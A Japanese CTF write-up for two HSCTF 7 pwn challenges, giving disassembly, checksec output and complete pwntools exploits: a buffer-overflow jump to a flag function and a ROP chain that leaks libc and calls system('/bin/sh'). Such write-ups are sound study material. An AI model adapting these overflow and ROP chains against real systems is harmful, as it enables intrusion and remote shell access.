kanyewest CTF

勉強したことをメモしています。

HSCTF 7【Write-up】

Binary Exploitation

Boredom

$ file boredom
boredom: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=99a762a8f8f05784a81b593573ca8252f44ecc7e, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./boredom
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   74 Symbols     No  0               3       ./boredom
$ ./boredom
I'm currently bored out of my mind. Give me sumpfink to do!
Give me something to do: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ehhhhh, maybe later.
Segmentation fault (コアダンプ)
gdb-peda$ pdisas flag
Dump of assembler code for function flag:
   0x00000000004011d5 <+0>:     push   rbp
   0x00000000004011d6 <+1>:     mov    rbp,rsp
   0x00000000004011d9 <+4>:     sub    rsp,0x40
   0x00000000004011dd <+8>:     lea    rsi,[rip+0xe60]        # 0x402044
   0x00000000004011e4 <+15>:    lea    rdi,[rip+0xe5b]        # 0x402046
   0x00000000004011eb <+22>:    call   0x401080 <fopen@plt>
   0x00000000004011f0 <+27>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004011f4 <+31>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x00000000004011f9 <+36>:    jne    0x40121d <flag+72>
   0x00000000004011fb <+38>:    lea    rdi,[rip+0xe4e]        # 0x402050
   0x0000000000401202 <+45>:    call   0x401030 <puts@plt>
   0x0000000000401207 <+50>:    lea    rdi,[rip+0xe92]        # 0x4020a0
   0x000000000040120e <+57>:    call   0x401030 <puts@plt>
   0x0000000000401213 <+62>:    mov    edi,0x1
   0x0000000000401218 <+67>:    call   0x401090 <exit@plt>
   0x000000000040121d <+72>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000401221 <+76>:    lea    rax,[rbp-0x40]
   0x0000000000401225 <+80>:    mov    esi,0x32
   0x000000000040122a <+85>:    mov    rdi,rax
   0x000000000040122d <+88>:    call   0x401050 <fgets@plt>
   0x0000000000401232 <+93>:    lea    rax,[rbp-0x40]
   0x0000000000401236 <+97>:    mov    rsi,rax
   0x0000000000401239 <+100>:   lea    rdi,[rip+0xea0]        # 0x4020e0
   0x0000000000401240 <+107>:   mov    eax,0x0
   0x0000000000401245 <+112>:   call   0x401040 <printf@plt>
   0x000000000040124a <+117>:   lea    rdi,[rip+0xecc]        # 0x40211d
   0x0000000000401251 <+124>:   call   0x401030 <puts@plt>
   0x0000000000401256 <+129>:   mov    edi,0x2a
   0x000000000040125b <+134>:   call   0x401090 <exit@plt>
End of assembler dump.

BOFがあるのでflag関数に飛ばすだけです。

from pwn import *                                                          
                                                                           
p = remote('pwn.hsctf.com',5002)                                           
e = ELF('./boredom')                                                       
                                                                           
ret_addr = 0x0040101a                                                      
                                                                           
payload = 'A'*216                                                          
payload += p64(ret_addr)                                                   
payload += p64(e.symbols['flag'])                                          
                                                                           
p.sendline(payload)                                                        
p.interactive()
$ python solve.py 
[+] Opening connection to pwn.hsctf.com on port 5002: Done
[*] 
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
I'm currently bored out of my mind. Give me sumpfink to do!
Give me something to do: Ehhhhh, maybe later.
Hey, that's a neat idea. Here's a flag for your trouble: flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}

pwnagotchi

$ file pwnagotchi 
pwnagotchi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f8c34ef43ba5a8fbce8b89987797d88f7adbb31f, not stripped
$ checksec.sh --file=./pwnagotchi 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   77 Symbols     No  0               2       ./pwnagotchi

gdbデバッグしてみると、eatやzzzという関数があることがわかります。

gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000400638  _init
0x0000000000400660  puts@plt
0x0000000000400670  setresgid@plt
0x0000000000400680  printf@plt
0x0000000000400690  srand@plt
0x00000000004006a0  time@plt
0x00000000004006b0  gets@plt
0x00000000004006c0  getegid@plt
0x00000000004006d0  setvbuf@plt
0x00000000004006e0  sleep@plt
0x00000000004006f0  rand@plt
0x0000000000400700  _start
0x0000000000400730  _dl_relocate_static_pie
0x0000000000400740  deregister_tm_clones
0x0000000000400770  register_tm_clones
0x00000000004007b0  __do_global_dtors_aux
0x00000000004007e0  frame_dummy
0x00000000004007e7  eat
0x0000000000400801  zzz
0x0000000000400846  main
0x0000000000400990  __libc_csu_init
0x0000000000400a00  __libc_csu_fini
0x0000000000400a04  _fini
gdb-peda$ pdisas eat
Dump of assembler code for function eat:
   0x00000000004007e7 <+0>:     push   rbp
   0x00000000004007e8 <+1>:     mov    rbp,rsp
   0x00000000004007eb <+4>:     lea    rdi,[rip+0x226]        # 0x400a18
   0x00000000004007f2 <+11>:    call   0x400660 <puts@plt>
   0x00000000004007f7 <+16>:    mov    BYTE PTR [rip+0x20087a],0x0        # 0x601078 <hungry>
   0x00000000004007fe <+23>:    nop
   0x00000000004007ff <+24>:    pop    rbp
   0x0000000000400800 <+25>:    ret 

eat関数は、hungryという変数に0を代入しているようです。

gdb-peda$ pdisas zzz
Dump of assembler code for function zzz:
   0x0000000000400801 <+0>:     push   rbp
   0x0000000000400802 <+1>:     mov    rbp,rsp
   0x0000000000400805 <+4>:     lea    rdi,[rip+0x217]        # 0x400a23
   0x000000000040080c <+11>:    call   0x400660 <puts@plt>
   0x0000000000400811 <+16>:    call   0x4006f0 <rand@plt>
   0x0000000000400816 <+21>:    mov    ecx,eax
   0x0000000000400818 <+23>:    mov    edx,0x55555556
   0x000000000040081d <+28>:    mov    eax,ecx
   0x000000000040081f <+30>:    imul   edx
   0x0000000000400821 <+32>:    mov    eax,ecx
   0x0000000000400823 <+34>:    sar    eax,0x1f
   0x0000000000400826 <+37>:    sub    edx,eax
   0x0000000000400828 <+39>:    mov    eax,edx
   0x000000000040082a <+41>:    add    eax,eax
   0x000000000040082c <+43>:    add    eax,edx
   0x000000000040082e <+45>:    sub    ecx,eax
   0x0000000000400830 <+47>:    mov    edx,ecx
   0x0000000000400832 <+49>:    lea    eax,[rdx+0x1]
   0x0000000000400835 <+52>:    mov    edi,eax
   0x0000000000400837 <+54>:    call   0x4006e0 <sleep@plt>
   0x000000000040083c <+59>:    mov    BYTE PTR [rip+0x200836],0x0        # 0x601079 <sleepy>
   0x0000000000400843 <+66>:    nop
   0x0000000000400844 <+67>:    pop    rbp
   0x0000000000400845 <+68>:    ret   

zzz関数は最後の方でsleepyという変数に0を代入しているようです。

デコンパイル結果をみると、once変数が0かhungry変数が0かつsleepy変数が0のときは、printf関数が実行されそれ以外のときはThis is weird...という文字列が出力されることがわかります。 つまり、once変数やhungry変数、speepy変数が0でないとBOFがあっても、任意の命令を実行できないということです。 f:id:tekashi:20200607233504p:plain

$ ./pwnagotchi 
Enter your pwnagotchi's name: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

\ (•-•) /

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not happy!
Segmentation fault (コアダンプ)

最初は、eat関数とzzz関数をつかってhungry変数とsleepy変数を0にしようとしたのですがうまくいかなかったので、gets関数でonceに0を書き込み、同じ処理を繰り返すことにしました。

以下がExploitコードになります。

from pwn import *

e = ELF('./pwnagotchi')
#p = process('./pwnagotchi')
p = remote('pwn.hsctf.com',5005)
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

ret_addr = 0x00400285
pop_rdi_addr = 0x004009f3

payload = 'A'*20
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(e.got['printf'])
payload += p64(e.symbols['printf'])
payload += p64(pop_rdi_addr)
payload += p64(e.symbols['once'])
payload += p64(e.symbols['gets'])
payload += p64(e.symbols['main'])

print p.recvuntil('name:')
p.sendline(payload)
p.sendline('\0')

print p.recvuntil('happy!\n')

ret = u64(p.recvline()[:6] + '\x00\x00')
libc_base_addr = ret - libc.symbols['printf']
system_addr = libc.symbols['system'] + libc_base_addr
binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr

payload = 'A'*20
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendline(payload)

p.interactive()

手順としては、libcをリークするためにprintf関数のGOTを出力し、gets関数を用いてonce変数に0を書き込んだ上でmain関数をもう1度呼びます。あとは、libcのoffsetを求めてsystem('/bin/sh')を呼び出すだけです。